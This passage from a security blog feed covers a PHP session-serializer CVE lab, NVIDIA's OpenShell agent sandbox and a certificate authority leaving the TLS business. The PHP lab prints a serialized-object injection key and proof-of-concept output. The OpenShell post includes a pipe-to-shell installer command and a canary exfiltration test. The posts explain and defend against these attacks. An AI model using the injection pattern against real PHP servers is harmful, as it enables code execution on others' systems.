&lt;p&gt;We suggest you set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; until the next regular bugfix release, to fully protect from an unlikely RCE vector. This setting was already listed as a mitigation in the GHSA-6wmf-4rv5-p3rp advisory for CVE-2026-109619 published on Oct 21st, 2026. If you applied it then, keep it in place and no further action is needed.&lt;/p&gt;

&lt;p&gt;The issue can only occur under an unusual combination of configuration and application code. An application must set &lt;code&gt;session.serialize_handler&lt;/code&gt; to &lt;code&gt;php_binary&lt;/code&gt; or &lt;code&gt;php_serialize&lt;/code&gt; in its configuration and then switch it to &lt;code&gt;php&lt;/code&gt; at runtime with &lt;code&gt;ini_set()&lt;/code&gt; before calling &lt;code&gt;session_start()&lt;/code&gt;. Session upload progress must also still be enabled. Applications that never change the serialize handler at runtime can keep the feature enabled. Since this setup is unlikely in practice, we are handling it in the regular release cycle and will publish a full advisory for CVE-2026-115560 with the next release.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Count what changed between that text and the BREAKING version: "informational advisory" became "unpatched RCE"; "regular release cycle" became "urgent"; "unlikely in practice" became a vague "unusual session configurations" that reads like it could be you. None of the repost's three lines survives contact with the primary source.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug, in one paragraph
&lt;/h2&gt;

&lt;p&gt;(Interpretation flagged as such — the full advisory ships with the next release.) The session store is written by one serializer and, after the runtime switch, parsed by another. &lt;code&gt;php_binary&lt;/code&gt; and &lt;code&gt;php_serialize&lt;/code&gt; have different key-encoding rules than the default &lt;code&gt;php&lt;/code&gt; handler — so bytes written under one grammar get read under another, and the upload-progress entry conveniently contains an attacker-chosen key name. Serializer confusion on attacker-influenced session content is the classic path to code execution; the exact primitive waits for the full advisory. What PHP is telling you today is precisely &lt;em&gt;who&lt;/em&gt; needs to care, which is the rarest and most useful sentence in vulnerability disclosure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lab: watching the confusion happen
&lt;/h2&gt;

&lt;p&gt;The kit runs on the PHP CLI's built-in server — no Docker, because the combo is pure configuration and the serializer grammar is not version-specific:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/slabbdev/php-cve-2026-115560-kit
&lt;span class="nb"&gt;cd &lt;/span&gt;php-cve-2026-115560-kit &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./run.sh   &lt;span class="c"&gt;# binds 127.0.0.1:8899 only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;run.sh&lt;/code&gt; starts the target with &lt;code&gt;session.serialize_handler=php_binary&lt;/code&gt; in configuration (leg 1) and upload progress enabled (leg 3); the read path in &lt;code&gt;target/index.php&lt;/code&gt; performs the &lt;code&gt;ini_set()&lt;/code&gt; switch (leg 2). Then the PoC fires two requests:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;a small multipart upload whose &lt;code&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/code&gt; value is the key &lt;code&gt;p|O:8:"DemoVuln":1:{...}&lt;/code&gt; — the progress hook stores the entry under the &lt;strong&gt;configured&lt;/strong&gt; grammar, where a &lt;code&gt;|&lt;/code&gt; inside a key means nothing;&lt;/li&gt;
&lt;li&gt;a GET that hits the &lt;code&gt;ini_set()&lt;/code&gt; path: the same session file is now parsed under the &lt;code&gt;php&lt;/code&gt; grammar, which splits entries &lt;strong&gt;at the first &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt; — the one the attacker planted — and unserializes whatever follows.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Real output, PHP 8.5.10:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[1] upload POST — writes the progress entry under the crafted key…
     HTTP/1.1 200 OK
[2] read GET — ini_set to `php`, session_start()…
     HTTP/1.1 200 OK
    &amp;gt; [CVE-2026-115560] DemoVuln::__wakeup — attacker-controlled unserialize executed, note=pwned-1
    &amp;gt; read OK — session keys: []
RESULT: INJECTION CONFIRMED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details in that output carry the lesson:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;session keys: []&lt;/code&gt; — the decoder chokes on the progress-array bytes that trail the injected object, and &lt;strong&gt;destroys the session&lt;/strong&gt;. The gadget already ran. From the attacker's side the corruption is free; from yours, the session silently resets.&lt;/li&gt;
&lt;li&gt;the server logs &lt;code&gt;PHP Warning: session_start(): Failed to decode session object&lt;/code&gt;. That warning is your &lt;strong&gt;detection artifact&lt;/strong&gt; — a store written under one grammar and read under another shows up exactly there. If you must keep the runtime switch, alert on this line.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And no race is involved: &lt;code&gt;session.upload_progress.cleanup=0&lt;/code&gt; parks the poisoned entry in the store after the upload completes, so request 2 can come hours later. With Tuesday's bug this CVE shares the feature; what it doesn't share is any need for timing skill.&lt;/p&gt;

&lt;h2&gt;
  
  
  The decision tree
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;You set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; on Tuesday&lt;/strong&gt; (the php2shell mitigation, GHSA-6wmf-4rv5-p3rp): you're already protected from this vector too. Nothing to do.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You kept upload progress on&lt;/strong&gt; and your application never calls &lt;code&gt;ini_set()&lt;/code&gt; on &lt;code&gt;session.serialize_handler&lt;/code&gt;: keep the feature enabled — the combo doesn't exist on your fleet. Apply Tuesday's patches if you haven't (8.5.12, 8.4.27, 8.3.36, 8.2.35).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You do switch serialize handlers at runtime&lt;/strong&gt; (some frameworks and session shims have done this historically): set upload progress to 0 now, and watch for the full advisory with the next release.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The lab: three lines to know
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Who configures the serialize handler at all?&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"session.serialize_handler"&lt;/span&gt; /etc/php&lt;span class="k"&gt;*&lt;/span&gt; src/ config/ 2&amp;gt;/dev/null

&lt;span class="c"&gt;# 2. Does any code switch it at RUNTIME? (this is the rare leg of the combo)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"ini_set.*serialize_handler"&lt;/span&gt; src/ vendor/ &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'*.php'&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; tests

&lt;span class="c"&gt;# 3. What is the effective config on this box?&lt;/span&gt;
php &lt;span class="nt"&gt;-i&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'session.serialize_handler|upload_progress.enabled'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reading the output:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Command 2 returns &lt;strong&gt;nothing&lt;/strong&gt; → you're in "applications that never change the serialize handler", full stop. The advisory says you can keep upload progress on.&lt;/li&gt;
&lt;li&gt;Command 2 returns a hit → you're the fleet the advisory was written for: &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; in your php.ini now, until the patched release.&lt;/li&gt;
&lt;li&gt;Command 3 shows &lt;code&gt;upload_progress.enabled =&amp;gt; On&lt;/code&gt; and you already turned it off — check you edited the &lt;strong&gt;right&lt;/strong&gt; ini file (FPM pools and CLI routinely read different ones; &lt;code&gt;php -i&lt;/code&gt; on the CLI proves nothing about &lt;code&gt;php-fpm&lt;/code&gt;'s view, repeat it through a &lt;code&gt;phpinfo()&lt;/code&gt; page or &lt;code&gt;php-fpm -i&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last one is the trap I'd bet on: Tuesday's mitigation applied to the CLI config, the FPM pool still streaming uploads with progress enabled. The advisory is three hundred words; the operational reality is one ini file per SAPI.&lt;/p&gt;

&lt;p&gt;The kit in the lab above packages the audit as runnable code too: &lt;code&gt;./audit-cve-2026-115560.sh -s src/ -c config/&lt;/code&gt; runs the three checks, reads the &lt;strong&gt;effective&lt;/strong&gt; config per SAPI instead of trusting &lt;code&gt;php -i&lt;/code&gt;, compares your branch against the patched releases (8.5.12, 8.4.27, 8.3.36, 8.2.35), and exits 0 / 1 / 2 so CI can gate on it (&lt;code&gt;--json&lt;/code&gt; if you'd rather parse than read).&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this post exists
&lt;/h2&gt;

&lt;p&gt;Look at the week: LiteLLM's supply-chain compromise got reposted with dates scrambled into the wrong month; ZDI's private queue leaked onto the public LKML; a CA chairman blamed "social media amplification" for scrutiny he'd priced wrong; and today, a measured informational advisory got dressed as a BREAKING RCE. Four different failure modes, one common denominator: &lt;strong&gt;the repost is cheaper than the read, and every step away from the primary source loses accuracy and gains urgency.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The skill this blog keeps coming back to is boring and decisive: open the advisory. php.net's text is the counterexample to its own amplification — no exclamation marks, an honest likelihood estimate ("unlikely in practice"), a precise trigger condition, and the sentence almost no disclosure ever contains: &lt;em&gt;if you already did the thing, do nothing&lt;/em&gt;. That last sentence is why people should read sources: most days, the correct action is no action, and only the primary source will tell you so.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://www.php.net/archive/2026.php" rel="noopener noreferrer"&gt;php.net — Informational advisory: Session upload progress (Oct 23, 2026)&lt;/a&gt; · &lt;a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp" rel="noopener noreferrer"&gt;GHSA-6wmf-4rv5-p3rp / CVE-2026-109619 advisory&lt;/a&gt; · &lt;a href="https://dev.to/slabb/php2shell-two-critical-rces-in-php-core-lab-demo-and-how-to-fix-cve-2026-109618-and-2ieb"&gt;Part 1 — the php2shell lab&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — CVE-2026-115560 is real but requires a serializer switched at runtime plus upload progress enabled; PHP calls it unlikely in practice and ships the fix next release. Tuesday's mitigation already covers you. Three grep commands — or the kit's audit script — tell you which case you're in. The BREAKING version of this story is the case study; the advisory is the answer.&lt;/p&gt;

</description>
      <category>security</category>
      <category>php</category>
      <category>infosec</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Agents should never hold your API keys. NVIDIA just open-sourced the runtime that enforces it</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Fri, 23 Oct 2026 11:05:26 +0000</pubDate>
      <link>https://dev.to/slabb/agents-should-never-hold-your-api-keys-nvidia-just-open-sourced-the-runtime-that-enforces-it-3jm4</link>
      <guid>https://dev.to/slabb/agents-should-never-hold-your-api-keys-nvidia-just-open-sourced-the-runtime-that-enforces-it-3jm4</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Every AI agent you run today holds your secrets in its process environment: API keys, cloud credentials, tokens. One prompt injection away from exfiltration — and 2026 proved it twice, with two separate compromises of the most popular LLM proxy on PyPI, in March and again this week. NVIDIA's answer landed on GitHub this week: &lt;strong&gt;OpenShell&lt;/strong&gt; (Apache 2.0) — a runtime where agent fleets run in kernel-level sandboxes, &lt;strong&gt;credentials live behind a gateway instead of in the environment&lt;/strong&gt;, and where every policy change is checked by a &lt;strong&gt;Z3 SMT prover&lt;/strong&gt; before a human approves it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is not another agent framework. It's the layer underneath: confinement, custody, and proofs for fleets of agents that already exist. I spent the evening in the repo — here's what it actually does, mechanism by mechanism.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three pieces
&lt;/h2&gt;

&lt;p&gt;OpenShell is three components: a &lt;strong&gt;gateway&lt;/strong&gt; (the control plane), a &lt;strong&gt;supervisor&lt;/strong&gt;, and &lt;strong&gt;sandboxes&lt;/strong&gt; (minimal Ubuntu by default, GPU passthrough optional, Kubernetes via Helm if you're fleet-sized). The policy model covers filesystem, network, and process rules; enforcement is at the kernel — every file access, syscall, and network connection is checked at runtime, not by a wrapper library the agent could forget to call.&lt;/p&gt;

&lt;p&gt;The quickstart is two commands, on macOS Apple Silicon, Linux, or WSL2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-LsSf&lt;/span&gt; https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh
openshell sandbox create &lt;span class="nt"&gt;--name&lt;/span&gt; demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The default sandbox ships with no agent inside — you bring yours. The docs' first-agent walkthrough runs OpenCode against a free OpenRouter model, which means you can feel the whole thing without a paid key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mechanism one: credentials leave the agent
&lt;/h2&gt;

&lt;p&gt;This is the inversion that matters. Today's default is: you export &lt;code&gt;OPENAI_API_KEY&lt;/code&gt; into the agent's environment, and pray. The agent process holds the crown jewels in &lt;code&gt;/proc/self/environ&lt;/code&gt;, one prompt injection from leaking them into whatever URL the model decided to fetch.&lt;/p&gt;

&lt;p&gt;OpenShell's &lt;code&gt;providers&lt;/code&gt; crate restructures custody:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;gateway&lt;/strong&gt; persists provider records — API keys, bearer tokens, local account configs — discovered from your environment and config files, normalized, and kept out of logs ("Callers that display provider data must redact sensitive fields by default" is written into the crate's contract).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;sandbox supervisor&lt;/strong&gt; fetches resolved provider config from the gateway and injects credentials into the agent's child processes.&lt;/li&gt;
&lt;li&gt;The agent &lt;strong&gt;never stores a credential&lt;/strong&gt; — keys live at the gateway, redacted in logs — but the boundary deserves precision (see the update below): the supervisor injects the &lt;em&gt;resolved&lt;/em&gt; credential into the child process's environment (&lt;code&gt;inject_env&lt;/code&gt;, providers crate), so the child can read the raw value. What the kernel layer enforces is &lt;strong&gt;destination, not possession&lt;/strong&gt;: every network connection passes a policy check before it leaves the sandbox, and no request-time attachment exists in the default path — that would build in the &lt;code&gt;gateway-interceptors&lt;/code&gt; middleware.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read that again from the custody perspective: the blast radius of a compromised agent stops being "every key in the environment" and becomes "the endpoints this sandbox's policy named". Your agent can still work — read files, install packages, call the APIs you approved — but the keys to everything else simply aren't in the room.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mechanism two: a Z3 prover gates policy changes
&lt;/h2&gt;

&lt;p&gt;The part I didn't expect at this maturity: the &lt;code&gt;openshell-prover&lt;/code&gt; crate is a &lt;strong&gt;formal verifier for sandbox policies&lt;/strong&gt;. From its own README:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Encodes a policy + its attached credential set + a binary capability registry as a &lt;strong&gt;Z3 SMT model&lt;/strong&gt;, then runs &lt;strong&gt;reachability queries&lt;/strong&gt; to detect credentialed-reach and capability changes a reviewer should be aware of.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Concretely: when a policy change is proposed — by you, or by the agent itself — OpenShell doesn't just diff the YAML. It encodes the would-be state into SMT and asks reachability questions: &lt;em&gt;can this sandbox now reach a new host with credentials attached? call a new API method?&lt;/em&gt; Risky deltas &lt;strong&gt;wait for human review&lt;/strong&gt;. There's also a containment API: give it an operator boundary policy and a candidate, and it answers &lt;code&gt;Within&lt;/code&gt; / not — with counterexamples when the answer is no.&lt;/p&gt;

&lt;p&gt;And the failure mode is the right one: the model has bounds (ASCII literals in network selectors, no embedded NUL bytes), and when a policy uses a shape it can't model, it returns &lt;code&gt;unsupported_policy_shape&lt;/code&gt; — &lt;strong&gt;"I can't prove anything about this"&lt;/strong&gt; — instead of a green light. The crate's own guidance: treat unknown values as fail-closed. Whoever wrote that sentence has been burned before, in the good way.&lt;/p&gt;

&lt;p&gt;If you've followed the formal-verification world this week, the timing lands: Anthropic published the same evening that &lt;a href="https://www.anthropic.com/research/formal-verification" rel="noopener noreferrer"&gt;LLMs are making formal verification feasible at much larger scale&lt;/a&gt;. Put the two together and a pattern emerges for the agent era — &lt;strong&gt;LLMs propose, solvers dispose&lt;/strong&gt;: the model writes the policy, the prover holds the gate, the human signs the deltas.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it doesn't do — read before deploying
&lt;/h2&gt;

&lt;p&gt;Three honest limits, because a runtime named "safe, private" invites oversharing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Confinement is not evidence.&lt;/strong&gt; OpenShell answers &lt;em&gt;"what can this agent do?"&lt;/em&gt; — it doesn't answer &lt;em&gt;"what did this agent actually do?"&lt;/em&gt; A sandboxed agent can still take wrong actions inside its walls, and after the fact you'll want a tamper-evident record of what happened, not just the walls that were up. Those are complementary layers — walls and flight recorder — and a serious fleet eventually wants both.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The gateway is the new trusted core.&lt;/strong&gt; Credentials now live with the gateway instead of the agent. That's a strictly better blast radius, but it moves the crown jewels — so who runs the gateway, and how it's backed up and audited, becomes your actual security boundary. Self-hosted via Helm is supported; treat that box like the keys it holds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It's 0.1.x.&lt;/strong&gt; Stable cadence, real tests, RFC process, security policy — but young. The prover's own docs enumerate exactly which policy shapes are out of model. Read the support matrix before pointing a production fleet at it.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Run it yourself
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-LsSf&lt;/span&gt; https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh
openshell sandbox create &lt;span class="nt"&gt;--name&lt;/span&gt; demo
&lt;span class="c"&gt;# then: docs.nvidia.com/openshell → "Run Your First Agent" (OpenCode + free OpenRouter model)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And for the prover, the crate README carries a containment example you can build from source: a boundary policy, a candidate, &lt;code&gt;check_within_boundary&lt;/code&gt;, and a &lt;code&gt;CheckResult::Within&lt;/code&gt; or a counterexample. Ten minutes with the policy schema teaches you more about agent confinement than a month of threads.&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/NVIDIA/OpenShell" rel="noopener noreferrer"&gt;github.com/NVIDIA/OpenShell&lt;/a&gt; · Docs: &lt;a href="https://docs.nvidia.com/openshell/latest/index.html" rel="noopener noreferrer"&gt;docs.nvidia.com/openshell&lt;/a&gt; · Apache 2.0, SDKs in Python/TypeScript/Go/Rust, skills for your coding agent (&lt;code&gt;npx skills add NVIDIA/OpenShell&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Update (24 Oct) — a correction the threads earned
&lt;/h2&gt;

&lt;p&gt;"Mechanism one" overshot, and &lt;a href="https://dev.to/kielltampubolon/comment/3in3e"&gt;kielltampubolon's question&lt;/a&gt; caught it: does the credential reach the child's environment, or attach at egress? The source answers env — &lt;code&gt;inject_env&lt;/code&gt; in &lt;code&gt;crates/openshell-providers&lt;/code&gt; merges resolved credentials into the child process's env map, and the README says the supervisor "injects credentials into agent child processes." The bullet above is corrected. What holds: credentials leave config and logs, and egress is policy-gated. What doesn't hold by default: proxy-style injection at request time — the &lt;code&gt;gateway-interceptors&lt;/code&gt; middleware is the seam, and nothing in the default path attaches there.&lt;/p&gt;

&lt;p&gt;Two additions the threads earned:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Egress approves destinations, not content&lt;/strong&gt; (&lt;a href="https://dev.to/raju_dandigam/comment/3io1h"&gt;raju_dandigam&lt;/a&gt;). An approved host will carry whatever the child can read, at full bandwidth — a token riding a query string to an allowed domain is indistinguishable from legitimate traffic at that layer. His canary test pre-registers cleanly: plant a canary key, then three legs — write it to a log, echo it to stdout, send it to an approved host. On record before the run: the third leg leaves, because the policy was asked about the destination, never the payload. A fourth leg is worth adding: do the OCSF &lt;code&gt;HTTP Activity&lt;/code&gt; events capture request headers? If the recorder logs the request, the evidence stream is itself a channel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The evidence half got sharper&lt;/strong&gt; (robertpaschal, five rounds): a keeper who is party to the dispute is a second speaker, and a custody grade only bites if a third party can derive it from the anchors without the keeper's cooperation. His strictest rule — a retention event may re-grade a drift finding, never close it; only the next independent anchor clears it — is stricter than what ships on the journal side today. Adopted there as a named change, not defended.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The title's claim survives in its precise form: the keys leave your config. They don't leave the process — and the canary test is how you keep checking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — the agent-security stack is assembling in layers this month: kernel sandboxes for confinement, gateway-held credentials for custody, SMT provers for policy review, and (from the other camp) journals and attestations for evidence. Your agent still can't be trusted. But it can finally be &lt;em&gt;contained, funded, and proven&lt;/em&gt; — which is what "trusted" was supposed to mean all along.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>agents</category>
      <category>opensource</category>
    </item>
    <item>
      <title>The CA whose private key was the number 4 just quit the certificate business</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Fri, 23 Oct 2026 08:39:43 +0000</pubDate>
      <link>https://dev.to/slabb/the-ca-whose-private-key-was-the-number-4-just-quit-the-certificate-business-18ba</link>
      <guid>https://dev.to/slabb/the-ca-whose-private-key-was-the-number-4-just-quit-the-certificate-business-18ba</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;On Tuesday, we showed you the certificate authority whose intermediate private key was &lt;strong&gt;literally the number 4&lt;/strong&gt; — recoverable in four guesses, valid until 2040, chained to roots every major platform trusted. Today, eMudhra's board answered: the company is &lt;strong&gt;exiting the global SSL/TLS certificate business entirely&lt;/strong&gt;. And in a twist nobody ordered, the same day brought a &lt;strong&gt;full bypass of the one-time-password login on their certificate portal&lt;/strong&gt;. Five days from key compromise to market exit — this is what the trust industry looks like when all of its enforcement mechanisms fire at once.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is act two of &lt;a href="https://dev.to/slabb/a-ca-private-key-was-the-number-4-your-curl-still-trusts-it-cve-2026-111943-45o4"&gt;Tuesday's post&lt;/a&gt;. Act one was cryptography; act two is economics and reputation — and the economics were already written before the incident started.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the board actually said
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://emudhra.com/en/press-release/emudhra-to-exit-global-ssl-tls-certificate-business" rel="noopener noreferrer"&gt;press release&lt;/a&gt; (Oct 22) is a fascinating document, because it does three things at once:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It claims diligence.&lt;/strong&gt; Chairman V. Srinivasan: the affected intermediates were revoked "within 14 hours of discovery", disclosure was prompt, &lt;strong&gt;no end-entity certificates were issued from the affected CAs&lt;/strong&gt;, infrastructure was not compromised, no data breached.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It admits the economics.&lt;/strong&gt; Global SSL/TLS is &lt;strong&gt;about 1% of eMudhra's revenue&lt;/strong&gt;. Data-sovereignty and compliance requirements keep raising the cost of running a public CA, and — the unnamed elephant — &lt;em&gt;"some of the large entities issue the SSL/TLS free of cost"&lt;/em&gt;. When your competition gives it away, a paid CA at 1% of revenue is a rounding error with an audit burden.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It blames the amplifier.&lt;/strong&gt; The line that will be quoted for years: &lt;em&gt;"the level of **social media amplification&lt;/em&gt;* around this incident has brought &lt;strong&gt;scrutiny that is out of proportion&lt;/strong&gt; to SSL/TLS's place"* in the business.&lt;/p&gt;

&lt;p&gt;Hold that thought.&lt;/p&gt;

&lt;h2&gt;
  
  
  The two mechanisms did their job
&lt;/h2&gt;

&lt;p&gt;What happened this week is the trust market functioning through both of its enforcement layers, in order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The technical layer, fast&lt;/strong&gt;: Mozilla, Apple, Microsoft and Chrome blocked the compromised intermediates within three days of Wayne's disclosure (Oct 17 → 20). No customers needed to act; browsers just stopped trusting the chain. We verified the surviving gaps ourselves — stock macOS &lt;code&gt;curl&lt;/code&gt; still trusting both paths — but the browser fabric held.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The reputation layer, slower and brutal&lt;/strong&gt;: five days later, the board exits the business. Not because of the keys — because the keys made everyone look at a business that was already dying: 1% of revenue, against free competitors, under rising compliance costs.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both things are true at once: &lt;strong&gt;eMudhra handled the incident competently, and the exit was inevitable&lt;/strong&gt;. The incident didn't break the business; it moved the announcement up by a year or two. And "handled competently" has a hard ceiling in public trust — because of what the chairman said next.&lt;/p&gt;

&lt;h2&gt;
  
  
  "Scrutiny that is out of proportion"
&lt;/h2&gt;

&lt;p&gt;A certificate authority is not in the business of certificates. It's in the business of &lt;strong&gt;proportionate scrutiny&lt;/strong&gt;: the entire product is a system where the scrutiny applied to "is this really my bank?" is exactly as strong as the harm of getting it wrong. Anyone can demand proof at any time — that's the deal.&lt;/p&gt;

&lt;p&gt;So when the chairman complains that amplification brought scrutiny &lt;em&gt;out of proportion&lt;/em&gt; to the business's place in revenue — he's describing the product working as designed. A CA's revenue share is irrelevant to how much scrutiny it deserves; its &lt;strong&gt;trust share&lt;/strong&gt; is what matters, and eMudhra's intermediates chained to roots in every major trust store on the planet. The scrutiny was everyone-sized because the trust was everyone-sized. If you want scrutiny proportional to your revenue, sell something else — which, to be fair, is exactly what the board just decided.&lt;/p&gt;

&lt;h2&gt;
  
  
  The same day: a full 1FA OTP bypass
&lt;/h2&gt;

&lt;p&gt;While the press release went out, a researcher &lt;a href="https://mastodon.catgirl.cloud/@49016/117475976434068995" rel="noopener noreferrer"&gt;disclosed on Mastodon&lt;/a&gt; what they call a complete bypass of eMudhra's one-time-password login — in their words: &lt;em&gt;"you can basically just rob any existing emudhra cert with this by just OSINTing the email associated and logging in"&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Careful wording here, because this is a single disclosure we have not reproduced: no write-up with reproduction steps yet, and no vendor response at the time of writing. But the &lt;em&gt;category&lt;/em&gt; matters more than the specifics: the key compromise was containable by root programs in 72 hours — they don't need eMudhra's cooperation. A takeover path into the &lt;strong&gt;live issuance portal&lt;/strong&gt; is the opposite shape: it's a business-system compromise, the thing revocation and trust-store blocking can't reach. One incident was a cryptography problem; the other would be an identity problem. eMudhra is exiting the first one on a good week.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lab: the claim you cannot check — by design
&lt;/h2&gt;

&lt;p&gt;Here's the loop that closes. The chairman's central diligence claim is: &lt;strong&gt;no end-entity certificates were issued from the affected intermediates&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Can you verify that? No — and the reason is the same fact that saved the browsers on Monday: &lt;strong&gt;these intermediates were never logged in Certificate Transparency&lt;/strong&gt;. Zero CT entries for their entire 18-month life. So:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# crt.sh search for the affected intermediate — returns nothing,&lt;/span&gt;
&lt;span class="c"&gt;# BY CONSTRUCTION: an unlogged intermediate can't have countable leaves&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://crt.sh/?identity=EM%20OV%20TLS%20CA%20-%20G3C"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;TR&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"0 rows"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Absence of evidence here is structural, not exculpatory. "No end-entity certificates" is unverifiable from the outside &lt;em&gt;because&lt;/em&gt; the CA skipped the one public log that would have made it checkable. The same design choice that protected browsers from forged certs also shields the CA's issuance history from public audit. Verification of that claim requires eMudhra's own records — which is to say, it requires trusting the CA. The one thing this week taught us to price correctly.&lt;/p&gt;

&lt;p&gt;(Your machine, meanwhile, still trusts the family: yesterday's one-liner still reports stock macOS &lt;code&gt;curl&lt;/code&gt; connecting happily to the official test servers. The &lt;code&gt;cert.pem&lt;/code&gt; workaround from Tuesday's post stays relevant until the bundle ships.)&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually changes for users
&lt;/h2&gt;

